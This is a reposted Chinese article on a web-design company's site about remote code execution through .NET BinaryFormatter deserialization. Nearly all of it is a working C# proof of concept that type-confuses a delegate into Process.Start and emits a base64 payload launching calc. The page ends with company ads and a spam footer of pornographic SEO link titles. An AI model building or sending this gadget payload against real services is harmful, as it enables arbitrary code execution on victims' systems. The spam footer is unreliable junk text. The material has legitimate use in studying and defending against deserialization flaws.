.Net反序列化漏洞之BinaryFormatter

https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

目前創(chuàng)新互聯(lián)公司已為上1000家的企業(yè)提供了網(wǎng)站建設(shè)、域名、虛擬空間、網(wǎng)站改版維護(hù)、企業(yè)網(wǎng)站設(shè)計(jì)、匯川網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。

.Net反序列化導(dǎo)致RCE的樣例,有兩點(diǎn)限制:

  1. BinaryFormatter::Deserialize反序列化的內(nèi)容用戶可控
  2. .Net SDK大于等于4.5
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;

namespace Deserializer
{
    class Program
    {
        public static void getCalcPayload()
        {
            // Create a simple multicast delegate
            Delegate d = new Comparison<string>(String.Compare);
            Comparison<string> d2 = (Comparison<string>)MulticastDelegate.Combine(d, d);

            // Create set with original comparer
            IComparer<string> comp = Comparer<string>.Create(d2);
            SortedSet<string> set = new SortedSet<string>(comp);

            set.Add("calc");
            set.Add("adummy");

            TypeConfuseDelegate(d2);

            BinaryFormatter formatter = new BinaryFormatter
            {
                AssemblyFormat = FormatterAssemblyStyle.Simple
            };

            using (MemoryStream stream = new MemoryStream())
            {
                formatter.Serialize(stream, set);
                int position = (int)stream.Position;
                byte[] array = stream.GetBuffer();

                Array.Resize<byte>(ref array, position);

                String payload = Convert.ToBase64String(array);
                Console.WriteLine("Calc.exe PayLoad:" + payload);

                //FileSystemUtils.Pullfile(payload, "payload_calc.dat");

                stream.Position = 0;
                formatter.Deserialize(stream);
            }
        }

        static void TypeConfuseDelegate(Comparison<string> comp)
        {
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
                                    System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);

            object[] invoke_list = comp.GetInvocationList();

            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(comp, invoke_list);

        }

        static void Main(string[] args)
        {
            getCalcPayload();
        }
    }

}

.Net反序列化漏洞之BinaryFormatter

分享標(biāo)題:.Net反序列化漏洞之BinaryFormatter
文章URL:http://m.kartarina.com/article24/gesdje.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站導(dǎo)航關(guān)鍵詞優(yōu)化App設(shè)計(jì)品牌網(wǎng)站建設(shè)Google云服務(wù)器

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁設(shè)計(jì)公司
主站蜘蛛池模板: 久久精品亚洲中文字幕无码麻豆| 日韩人妻无码精品久久免费一| 国产∨亚洲V天堂无码久久久| 亚洲AV区无码字幕中文色| 亚洲AV无码乱码麻豆精品国产| 少妇无码太爽了不卡视频在线看 | 亚洲国产成AV人天堂无码| 亚洲日韩乱码中文无码蜜桃 | 中文字幕乱码人妻无码久久| 午夜不卡久久精品无码免费| 国产嫖妓一区二区三区无码| 亚洲A∨无码无在线观看| 夫妻免费无码V看片| 无码专区狠狠躁躁天天躁| 亚洲Av无码国产情品久久 | 国产嫖妓一区二区三区无码| 日韩免费无码视频一区二区三区| 成在人线AV无码免费| 亚洲av无码国产综合专区| 亚洲V无码一区二区三区四区观看| 内射人妻无码色AV天堂| 精品无码AV无码免费专区| 在线精品自拍无码| 亚洲AV无码不卡在线观看下载| 亚洲中文字幕无码爆乳app| 国产网红无码精品视频| 精品久久久久久无码人妻蜜桃| 国产莉萝无码AV在线播放| 亚洲中文无码av永久| 亚洲gv猛男gv无码男同短文| 精品无码久久久久久久动漫| 国产成人综合日韩精品无码| 亚洲av无码无线在线观看 | 日韩毛片免费无码无毒视频观看| 久久国产加勒比精品无码| 国产成A人亚洲精V品无码性色| 精品无码国产污污污免费网站国产| 日韩AV无码不卡网站| 亚洲精品无码AV中文字幕电影网站| 色综合久久久无码中文字幕波多| 国模无码视频一区|